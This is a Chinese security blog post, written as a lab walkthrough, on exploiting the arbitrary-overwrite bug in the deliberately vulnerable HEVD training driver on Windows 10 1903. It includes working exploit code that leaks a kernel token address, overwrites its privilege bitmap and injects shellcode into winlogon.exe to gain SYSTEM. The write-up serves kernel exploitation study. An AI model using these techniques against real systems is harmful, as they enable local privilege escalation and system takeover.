HEVD Window Kernel Exploit 02 - Arbitrary Overwrite

阅读量307633

|

发布时间 : 2020-09-07 14:30:44

 

0. 前言

作者本人平时学习Windows内核的时候,会按照HEVD这个教程进行Windows Kernel Exploit的学习,然而作者懒癌比较严重,装了一台win10 1903 x86的vm却懒得换,所以就硬在这个平台上完成作业。然而在网上发现很多该系列的文章讨论的都不是在这个版本上进行的,所以导致很多WP在这个平台上已经不适用了。然而现实中,Windows Kernel的EXP却也依然能够涵盖到非常新的win10版本上,说明即使在最新的win10上,也依然有利用的机会。所以这篇文章想要简单的讨论一下在Win10 1903上,对于这个教程中内核漏洞的利用方式。

关于HEVD,这里简单介绍一下,这个项目其实就是一个故意写了各种漏洞的驱动程序,我们可以通过IOCTL的方式与之交互,从而触发其中的漏洞,对于学习内核来说是一个很棒的项目。关于项目的搭建,网上已经有了很多方案,比如这这里。这篇文章将会直接对其中的Arbitrary Overwrite漏洞进行分析。

 

1. 漏洞分析

这次我们分析的漏洞叫做Arbitrary Overwrite,也就是任意地址写。这种漏洞的形式通常是

  • 一个可以被用户输入控制的指针
  • 在被用户输入控制后,能够触发对指针所指向内容的修改:

用代码来表示的话就是形如

int ArbitraryOverWrite(int user_input, int content){
    // some code
    int *ptr = user_input;
    // other code
    *ptr = content;
}

这种漏洞在用户态的程序中有一些很容易能够想到的利用方法,比如修改内存中一些特定的函数指针,从而控制程序流。不过在内核中,这个利用可就困难重重了。在之后的分析里,我们将会提到内核对这类思路做出来的防护。

漏洞点

比起直接看代码,不如直接逆向驱动,对后续写exp帮助大,所以这边就直接使用IDA检查一下这个有问题的函数:

int __stdcall ArbitraryOverwriteIoctlHandler(PIRP a1, PIO_STACK_LOCATION a2)
{
  int v2; // ecx

  v2 = 0xC0000001;
  if ( a2->Parameters.DeviceIoControl.Type3InputBuffer )
    v2 = TriggerArbitraryOverwrite((UserAddr *)a2->Parameters.DeviceIoControl.Type3InputBuffer);
  return v2;
}

int __stdcall TriggerArbitraryOverwrite(UserAddr *UserAddress)
{
  _DWORD *Where_addr; // edi
  _DWORD *What_content; // ebx

  ProbeForRead(UserAddress, 8u, 4u);
  What = (_DWORD *)UserAddress->What;
  Where_addr = (_DWORD *)UserAddress->Where;
  DbgPrint("[+] UserWriteWhatWhere: 0x%p\n", UserAddress);
  DbgPrint("[+] WRITE_WHAT_WHERE Size: 0x%X\n", 8);
  DbgPrint("[+] UserWriteWhatWhere->What: 0x%p\n", What);
  DbgPrint("[+] UserWriteWhatWhere->Where: 0x%p\n", Where_addr);
  DbgPrint("[+] Triggering Arbitrary Overwrite\n");
  *Where_addr = *What;
  return 0;
}

这个UserAddr是一个代码本身定义的一个结构体:

struct UserAddr
{
  int Where;
  int What;
};

套用我们刚刚提到的公式:

  • Where是一个能被用户输入控制的指针
  • Where在被用户控制输入控制后,用户能控制其写入的内容

这个就是一个典型的任意地址写,甚至可以写任意的内容。我们将这种漏洞称为write-what-where的漏洞。

 

2. 利用思路

2.1 往哪儿写(Win7版本利用思路)

遇到这种漏洞的时候,第一个想到的应该就是需要往哪儿写。一个常见的套路的是nt!haldispatchTable,这是一个ntokrnl.exe中一个用来存放HAL*函数指针的全局对象。内核中有个很少被调用的APINtQueryIntervalProfile,这和API在底层会调用nt!haldispatchTable+4(64bit 为 nt!haldispatchTable+8)中指向的函数。所以当我们往nt!haldispatchTable+4写入我们指定的地址,就相当于是劫持了NtQueryIntervalProfile的调用。而这个API是可以从用户态调用的,那么就相当于我们变相从用户态劫持了内核态API的调用

2.2 要写什么(旧思路)

shellcode 地址?

第一个直观的想法就是将用户态的shellcode地址写上去。然而win8开始,就有了SMEP的问题,更何况这边win10 1903,所以直接修改成shellcode的思路是不行的。

ExAllocatePool 地址?

这个思路也在网络上看到过,大约就是说通过往这个地址上写入ExpAllocatePool这个API的地址,从而让我们callNtQueryIntervalProfile这个动作变成callExpAllocatePool。实现在内核中分配shellcode地址。不过由于这个NtQueryIntervalProfile传入的参数是会被check的,这边稍微参考一下ReactOS的代码

NTSTATUS NTAPI NtQueryIntervalProfile(    IN KPROFILE_SOURCE     ProfileSource, 
                                        OUT PULONG     Interval)    
{
     KPROCESSOR_MODE PreviousMode = ExGetPreviousMode();
     ULONG ReturnInterval;
     NTSTATUS Status = STATUS_SUCCESS;
     PAGED_CODE();
     // pass some code

     /* Query the Interval */
     ReturnInterval = (ULONG)KeQueryIntervalProfile(ProfileSource);

可以看到,最后传入KeQueryIntervalProfile的只有第一个参数ProfileSource,所以我们能控制的变量其实根本不足够去完成一个ExpAllocatePool所需要的参数,所以这个思路也是不可行的。

2.3 往哪儿写(Win8~Win10 1703之前的版本)

遇到了难题,自己没办法解决的时候只好求助他人了,于是我找到了wjllz大师傅的博客,这里提到说将替换API地址改成ROP,但是这个方法在我的测试环境上(1903)似乎不能正常work。于是我直接找到了他本人去问。大师傅人很好,给了我很多方向,促使我找到了一篇blackhat上的文章,里面提到了一种方法:

这个方法的原理是说,在形如NtGdiDdDDICreateAllocation,或者大佬博客里提到的NtGdiDdDDIGetContextSchedulingPriority这类和GDI相关的API调用的处理驱动中,有一些函数会从win32kbase!gDxgkInterface这个全局对象表中取出自己实际调用的函数地址。而这个API是可以接受至少两个参数的,这就让我们替换ExpAllocatePool成为了可能。这里的分析文章中也提到了,这种攻击是确实可行的。
然而,看到1903中的形式:

上图中的win32k!NtGdiDdDDIGetContextSchedulingPriority是驱动所在的导出表的位置,我们看过去

win32k!NtGdiDdDDIGetContextSchedulingPriority:
93e00689 ff259016e093    jmp     dword ptr [win32k!_imp__NtGdiDdDDIGetContextSchedulingPriority (93e01690)]
win32k!NtGdiDdDDISetContextSchedulingPriority:
93e0068f ff258c16e093    jmp     dword ptr [win32k!_imp__NtGdiDdDDISetContextSchedulingPriority (93e0168c)]
win32k!NtGdiDdDDIGetDeviceState:
93e00695 ff258816e093    jmp     dword ptr [win32k!_imp__NtGdiDdDDIGetDeviceState (93e01688)]

然而我们顺着找这个win32k!_imp__NtGdiDdDDIGetContextSchedulingPriority的地址,可以找到如下内容:

1: kd> dd win32k!_imp__NtGdiDdDDIGetContextSchedulingPriority
93e01690  9090f62f 90858cb6 90935941 90935a69
93e016a0  9082dad0 940dd204 940dcc95 940dc939
93e016b0  940dbcce 940dbb6f 940dd2af 940dcbd7

这个9090f62f正好指向一个实现在dxgkrnl.sys的对应函数:

1: kd> u 9090f62f
dxgkrnl!DxgkGetContextSchedulingPriority:
9090f62f 68a8000000      push    0A8h
9090f634 68a0c17d90      push    offset dxgkrnl!_realffefffffffffffff+0x1e30 (907dc1a0)
9090f639 e876a5e8ff      call    dxgkrnl!_SEH_prolog4_GS (90799bb4)
9090f63e 8b7508          mov     esi,dword ptr [ebp+8]
9090f641 838d58ffffffff  or      dword ptr [ebp-0A8h],0FFFFFFFFh
9090f648 33db            xor     ebx,ebx

仔细看,好像这个调用过程中完全没有经过gDxgkInterface这个全局对象?在搜索了一些资料后,终于在这个网站上找到了答案,这边提到了一个很重要的事情:windows 1903中,大部分的函数已经不使用win32kbase作为proxy,而是直接由dxgkrnl.sys导出函数来调用。所以这条路也被封死了。

 

3. 和Linux kernel pwn的联想(新的思路)

回想以前看过Linux 的kernel pwn,似乎很少提到说,当获得一个WWW漏洞的时候,一定要通过修改函数指针来提权的,大部分提到的都是修改cred这个结构体来实现提权。
Windows中的TOKEN这个结构体起到的作用就和这个cred类似,也是类似Windows下的权限控制。而我们可以看到,很多Windows kernel下的提权攻击最后一步,也就是将system进程的token拷贝到当前进程。那我们直接将当前进程的token修改成类似system的token,是不是也能达到一样的效果呢?

正好前阵子有一个cve分析的文章出来https://labs.bluefrostsecurity.de/blog/2020/01/07/cve-2019-1215-analysis-of-a-use-after-free-in-ws2ifsl/,这个文章里面提到了一个2012年就被提出来的,window kernel pwn应该做什么的文章http://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf这篇文章非常好,其讲述了关于Windows下提权的利用思路,其中有一个思路非常重要,就是通过修改TOKEN,直接实现将当前进程的提权

3.1 通过修改_TOKEN来进行提权

一个进程中的TOKEN结构体如下:

typedef struct _TOKEN
{
     TOKEN_SOURCE TokenSource;
     LUID TokenId;
     LUID AuthenticationId;
     LUID ParentTokenId;
     LARGE_INTEGER ExpirationTime;
     PERESOURCE TokenLock;
     LUID ModifiedId;
     SEP_TOKEN_PRIVILEGES Privileges;
     SEP_AUDIT_POLICY AuditPolicy;
     ULONG SessionId;
     ULONG UserAndGroupCount;
     ULONG RestrictedSidCount;
     ULONG VariableLength;
     ULONG DynamicCharged;
     ULONG DynamicAvailable;
     ULONG DefaultOwnerIndex;
     PSID_AND_ATTRIBUTES UserAndGroups;
     PSID_AND_ATTRIBUTES RestrictedSids;
     PVOID PrimaryGroup;
     ULONG * DynamicPart;
     PACL DefaultDacl;
     TOKEN_TYPE TokenType;
     SECURITY_IMPERSONATION_LEVEL ImpersonationLevel;
     ULONG TokenFlags;
     UCHAR TokenInUse;
     ULONG IntegrityLevelIndex;
     ULONG MandatoryPolicy;
     PSECURITY_TOKEN_PROXY_DATA ProxyData;
     PSECURITY_TOKEN_AUDIT_DATA AuditData;
     PSEP_LOGON_SESSION_REFERENCES LogonSession;
     LUID OriginatingLogonSession;
     SID_AND_ATTRIBUTES_HASH SidHash;
     SID_AND_ATTRIBUTES_HASH RestrictedSidHash;
     ULONG VariablePart;
} TOKEN, *PTOKEN;

这个结构体从Win7开始就没有太多的变动了,这里我们关注一下这几个结构体成员变量:

     SEP_TOKEN_PRIVILEGES Privileges; // 0x40

这个结构体变量用bit位的方式记录了当前token中使用的privilege(特权)。token本质上是一个描述当前安全对象和其他安全对象之间关系的结构体,在Windows中,进程也是一种安全对象。所以TOKEN也描述了当前进程对其他进程的权限。
当我们使用类似windbg之类的进程对其他各类进程进行调试,这个时候系统就会赋予调试器这个调试其他进程的特权。特权能够让我们往其他更高权限才能够接触到的进程中进行代码注入,一个直观的相反就是,向System进程发起注入从而实现进程劫持等等,完成提权。
我们首先检查一下我们跑EXP的进程使用的token是怎么样的

: kd> !token
Thread is not impersonating. Using process token...
_EPROCESS 0xffffffffa25de040, _TOKEN 0x0000000000000000
TS Session ID: 0x1
User: S-1-5-21-3717723882-702046769-3252787667-1000
User Groups: 
 00 S-1-5-21-3717723882-702046769-3252787667-513
    Attributes - Mandatory Default Enabled 
 01 S-1-1-0
    Attributes - Mandatory Default Enabled 
 02 S-1-5-114
    Attributes - Mandatory Default Enabled 
 03 S-1-5-32-544
    Attributes - Mandatory Default Enabled Owner 
 04 S-1-5-32-545
    Attributes - Mandatory Default Enabled 
 05 S-1-5-4
    Attributes - Mandatory Default Enabled 
 06 S-1-2-1
    Attributes - Mandatory Default Enabled 
 07 S-1-5-11
    Attributes - Mandatory Default Enabled 
 08 S-1-5-15
    Attributes - Mandatory Default Enabled 
 09 S-1-5-113
    Attributes - Mandatory Default Enabled 
 10 S-1-5-5-0-252984
    Attributes - Mandatory Default Enabled LogonId 
 11 S-1-2-0
    Attributes - Mandatory Default Enabled 
 12 S-1-5-64-10
    Attributes - Mandatory Default Enabled 
 13 S-1-16-12288
    Attributes - GroupIntegrity GroupIntegrityEnabled 
Primary Group: S-1-5-21-3717723882-702046769-3252787667-513
Privs: 
 05 0x000000005 SeIncreaseQuotaPrivilege          Attributes - 
 08 0x000000008 SeSecurityPrivilege               Attributes - 
 09 0x000000009 SeTakeOwnershipPrivilege          Attributes - 
 10 0x00000000a SeLoadDriverPrivilege             Attributes - 
 11 0x00000000b SeSystemProfilePrivilege          Attributes - 
 12 0x00000000c SeSystemtimePrivilege             Attributes - 
 13 0x00000000d SeProfileSingleProcessPrivilege   Attributes - 
 14 0x00000000e SeIncreaseBasePriorityPrivilege   Attributes - 
 15 0x00000000f SeCreatePagefilePrivilege         Attributes - 
 17 0x000000011 SeBackupPrivilege                 Attributes - 
 18 0x000000012 SeRestorePrivilege                Attributes - 
 19 0x000000013 SeShutdownPrivilege               Attributes - 
 20 0x000000014 SeDebugPrivilege                  Attributes - Enabled <---所以当前进程token的特权值为0x2000
 22 0x000000016 SeSystemEnvironmentPrivilege      Attributes - 
 23 0x000000017 SeChangeNotifyPrivilege           Attributes - Enabled Default 
 24 0x000000018 SeRemoteShutdownPrivilege         Attributes - 
 25 0x000000019 SeUndockPrivilege                 Attributes - 
 28 0x00000001c SeManageVolumePrivilege           Attributes - 
 29 0x00000001d SeImpersonatePrivilege            Attributes - Enabled Default 
 30 0x00000001e SeCreateGlobalPrivilege           Attributes - Enabled Default 
 33 0x000000021 SeIncreaseWorkingSetPrivilege     Attributes - 
 34 0x000000022 SeTimeZonePrivilege               Attributes - 
 35 0x000000023 SeCreateSymbolicLinkPrivilege     Attributes - 
 36 0x000000024 SeDelegateSessionUserImpersonatePrivilege  Attributes - 
Authentication ID:         (0,3dca6)
Impersonation Level:       Anonymous
TokenType:                 Primary
Source: User32             TokenFlags: 0x2000 ( Token in use )
Token ID: b18ac1           ParentToken ID: 0
Modified ID:               (0, 654e3e)
RestrictedSidCount: 0      RestrictedSids: 0x0000000000000000
OriginatingLogonSession: 3e7
PackageSid: (null)
CapabilityCount: 0      Capabilities: 0x0000000000000000
LowboxNumberEntry: 0x0000000000000000
Security Attributes:
Unable to get the offset of nt!_AUTHZBASEP_SECURITY_ATTRIBUTE.ListLink
Process Token TrustLevelSid: (null)

从上可以看到,我们当前进程的权限有一个SeDebugPrivilege,这个特权的意思是Required to debug and adjust the memory of a process owned by another account.,也就是说能够调试并且调整由其他Account(用户)拥有的进程中的内存。做这个实验的时候,我正在用windbg调试,所以权限才会这么高。不过仍然不够,我们希望能够做到的是往其他进程中注入线程,那么这个时候我们需要的可能就不止这个权限了。根据之前的文章提到,我们此时可以寻找一些合适的特权来完成我们的操作。不过还有一种比较无脑的方式,就是将这些特权全部拿到手,就能够保证我们必定提权成功了

3.2 攻击代码实现

参照之前提到的那个CVE分析文章,要想要完成修改token的操作,我们需要完成如下的操作:

  • 泄露TOKEN在内核中的地址
  • 利用WWW漏洞将TOKEN.Privileges修改成-1

所以首先,我们要获取当前TOKEN的地址

3.2.1 Windows user-mode 下泄露TOKEN地址

前提:这里需要中等权限(administrator)才能完成泄露

这点其实Windows下有一个神奇的API

NtQuerySystemInformation

能帮我们完成任务。当第一个参数传入的值为SystemHandleInformation的时候,可以查询当前进程中所有句柄的基本信息

NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, outBuffer, &outBuffer);

此时返回的变量outBuffer的类型为SYSTEM_HANDLE_INFORMATION,具体定义如下:

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
    ULONG ProcessId;          // 当前对象从属的进程id
    UCHAR ObjectTypeNumber;   // 表示当前对象的类型
    UCHAR Flags;
    USHORT Handle;            // 当前句柄
    void* Object;             // 句柄所对应的真正object的地址
    ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, *PSYSTEM_HANDLE;


typedef struct _SYSTEM_HANDLE_INFORMATION
{
    ULONG NumberOfHandles;
    SYSTEM_HANDLE Handels[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

于是我们可以通过检查句柄类型(遍历Handles),找到当前进程中使用的TOKEN的句柄。不过具体这个ObjectTypeNumber在win10 1903下具体是几对应哪个内核对象,网上的资料并不多。。。不过我通过processexp这个工具,配合一些自己写的代码(主动打开一些句柄),大概总结出几个来:

3 --> Directory
5 --> Token
7 --> Process
37 --> File
44 --> Key

于是这里我们就能够通过便利这个句柄表,找到TOKEN对象的真正地址:

for (size_t i = 0; i < buffer->NumberOfHandles; i++)
{
    DWORD objTypeNumber = buffer->Handels[i].ObjectTypeNumber;

    if (buffer->Handels[i].ProcessId == GetCurrentProcessId() && buffer->Handels[i].ObjectTypeNumber == type)
    {
        if (handle == (HANDLE)buffer->Handels[i].Handle)
        {
            //printf("%p %d %x\n", buffer->Handels[i].Object, buffer->Handels[i].ObjectTypeNumber, buffer->Handels[i].Handle);
            DWORD object = (DWORD)buffer->Handels[i].Object;
            free(buffer);
            return object;
        }
    }
}

得到TOKEN的地址之后,我们就能够拿到_TOKEN结构体中偏移地址为0x40的结构体_SEP_TOKEN_PRIVILEGES。之后我们来看一下这个结构体的形式:

nt!_SEP_TOKEN_PRIVILEGES
   +0x000 Present          : Uint8B
   +0x008 Enabled          : Uint8B
   +0x010 EnabledByDefault : Uint8B

此时Present表示的是这个token中被开启的特权,而Enabled中表示的是当前token中被允许的特权。这三个变量都是以bitmap的形式存在的。
之前提到的这篇文章中,作者发现,其实Windows并不会check一个token的Present值,而是checkEnabled这个位置上对应的特权的bit有没有被置为1,来证明其权限是否打开了。所以这里我们就能够简单的利用这一点,将这个变量修改为-1,从而让当前的token获得最高的权限。
分析至此,我们就能够知道,最终我们提权需要作的写入操作为:

*(kTOKEN_addr + 0x48) = -1

3.2.2 最后的提权操作

当我们能够获得当前token的全部特权的时候,实际上相当于我们当前已经完成提权了(所有的特权,不就是最高的权限嘛 : ) )。不过为了证明我们确实完成了提权,我们还是尝试弹出一个用户为systemd的cmd来证明我们已经完成了提权。
谈到要创建一个用户为system的cmd,那么最容易想到的就是让一个system用户的进程创建一个cmd进程,此时子进程会继承父进程的用户,所以正好就是一个system权限的cmd。
在之前HEVD的练习中,因为拷贝了TOKEN,所以发起攻击的r3进程的用户就被当成了system,所以直接在exp中创建cmd进程即可。不过这次的攻击的token是原先用户的token,至少用whoami看起来并不是system。不过这里为了有system权限的cmd也很简单,我们只要向system用户创建的进程(比方说,pid=4的system进程)远程注入用于创建cmd的shellcode即可~

于是这边就有了最后的提权操作:

DWORD GetKernelPointer(HANDLE handle, DWORD type)
{
    PSYSTEM_HANDLE_INFORMATION buffer = (PSYSTEM_HANDLE_INFORMATION)malloc(0x20);

    DWORD outBuffer = 0;
    NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, 0x20, &outBuffer);

    if (status == STATUS_INFO_LENGTH_MISMATCH)
    {
        free(buffer);
        buffer = (PSYSTEM_HANDLE_INFORMATION)malloc(outBuffer);
        status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, outBuffer, &outBuffer);
    }

    if (!buffer)
    {
        printf("[-] NtQuerySystemInformation error \n");
        return 0;
    }

    for (size_t i = 0; i < buffer->NumberOfHandles; i++)
    {
        DWORD objTypeNumber = buffer->Handels[i].ObjectTypeNumber;

        if (buffer->Handels[i].ProcessId == GetCurrentProcessId() && buffer->Handels[i].ObjectTypeNumber == type)
        {
            if (handle == (HANDLE)buffer->Handels[i].Handle)
            {
                //printf("%p %d %x\n", buffer->Handels[i].Object, buffer->Handels[i].ObjectTypeNumber, buffer->Handels[i].Handle);
                DWORD object = (DWORD)buffer->Handels[i].Object;
                free(buffer);
                return object;
            }
        }
    }
    printf("[-] handle not found\n");
    free(buffer);
    return 0;
}
void InjectToWinlogon()
{
    PROCESSENTRY32 entry;
    entry.dwSize = sizeof(PROCESSENTRY32);

    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

    int pid = -1;
    if (Process32First(snapshot, &entry))
    {
        while (Process32Next(snapshot, &entry))
        {
            if (_wcsicmp(entry.szExeFile, L"winlogon.exe") == 0)
            {
                pid = entry.th32ProcessID;
                break;
            }
        }
    }

    CloseHandle(snapshot);

    if (pid < 0)
    {
        printf("Could not find process\n");
        return;
    }

    HANDLE h = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!h)
    {
        printf("Could not open process: %x", GetLastError());
        return;
    }

    void* buffer = VirtualAllocEx(h, NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (!buffer)
    {
        printf("[-] VirtualAllocEx failed\n");
    }

    if (!buffer)
    {
        printf("[-] remote allocation failed");
        return;
    }

    if (!WriteProcessMemory(h, buffer, shellcode, sizeof(shellcode), 0))
    {
        printf("[-] WriteProcessMemory failed");
        return;
    }

    HANDLE hthread = CreateRemoteThread(h, 0, 0, (LPTHREAD_START_ROUTINE)buffer, 0, 0, 0);

    if (hthread == INVALID_HANDLE_VALUE)
    {
        printf("[-] CreateRemoteThread failed");
        return;
    }
}
VOID TriggerArbitraryOverwrite(DWORD dwCTLCode) {
    DWORD dwRetSize = 0;
    HANDLE hDev = GetDeviceHandle();
    if (hDev == INVALID_HANDLE_VALUE)
        return;
    std::cout << "We Get handle is:" << std::hex << hDev << std::endl;
    // New Method
    HANDLE hCurrentProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId());
    if (!hCurrentProcess) {
        std::cout << "[-] Open Current process faiiled" << std::endl;
        return;
    }

    HANDLE hToken = 0;
    // the TOKEN_ADJUST_PRIVILEGES will enable/disable the privelage token
    if (!OpenProcessToken(hCurrentProcess, TOKEN_ADJUST_PRIVILEGES, &hToken)) {
        std::cout << "[-] Couldn't get current process token" << std::endl;
        return;
    }
    // The 0x5 is what??????
    DWORD kToken = GetKernelPointer(hToken, 0x5);
    DWORD dwTargetOffset = kToken + 0x48;

    std::cout << "The target token offest is " << dwTargetOffset << std::endl;
    WrtieWhatWhere *WWW = (WrtieWhatWhere*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(WrtieWhatWhere));
    WWW->Where = (ULONG_PTR)dwTargetOffset;
    //std::cout << "Base address:" << dwBaseAddress << " ExOffset:" << ulExAllocatePool;
    UINT64 uAllPrivelage= 0xffffffffffffffff;
    WWW->What = (ULONG_PTR)&uAllPrivelage;
    // WWW->What = (ULONG)&dwRealExAllocatePool;
    // copy exp to target address
    std::cout << "Now we will write[" << WWW->Where << "]:" << *(ULONG*)(WWW->What) << std::endl;
    // send IOCTL to trigger 
    OutputDebugString(L"[+]  =========== Kernel Mode  =============== [+]");
    DeviceIoControl(hDev, dwCTLCode, WWW, sizeof(WrtieWhatWhere), NULL, NULL, &dwRetSize, NULL);
    OutputDebugString(L"[+]  =========== IOCTL Finish =============== [+]");
    std::cout << " IOCTL FIINISH "<<std::endl;
    // Tro to inject code
    InjectToWinlogon();
    HeapFree(GetProcessHeap(), 0, WWW);
    return;
}

这里附上一个成功的截图 : )

 

4. 一些思考

关于HEVD

  • 个人认为是一个很不错的逼迫自己学习的工具,毕竟很多时候人都会懒,以做题目的形式学习比较能够比较有驱动力。
  • HEVD毕竟也是一个比较老的教程了,里面有一些攻击在win10上似乎是难以利用,如果向我这样死磕较新版本的时候,往往会被卡特别久(虽然这次找到了一个非常巧妙的利用方式,不过也因此没有仔细了解过去版本中的一些利用,例如gdiobject实现的提权之类的)

关于内核漏洞

  • Windows 内核确实越来越安全,从做题查到的WP来看,Win7的WP非常五花八门,而到了Win10基本上就只有寥寥几篇,侧面也是应证了内核能够被利用的方式确实变少了
  • 漏洞利用有时候非常像是在做数学题,思路一旦想通了一切都变得简单起来,但是很多时候是自己并不知道那种利用方式,所以在某个思路上面钻了牛角尖,这点会非常浪费时间。

本文由l1nk3d原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/213428

安全客 - 有思想的安全新媒体

分享到:微信
+15赞
收藏
l1nk3d
分享到:微信

发表评论

内容需知
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全客 All Rights Reserved 京ICP备08010314号-66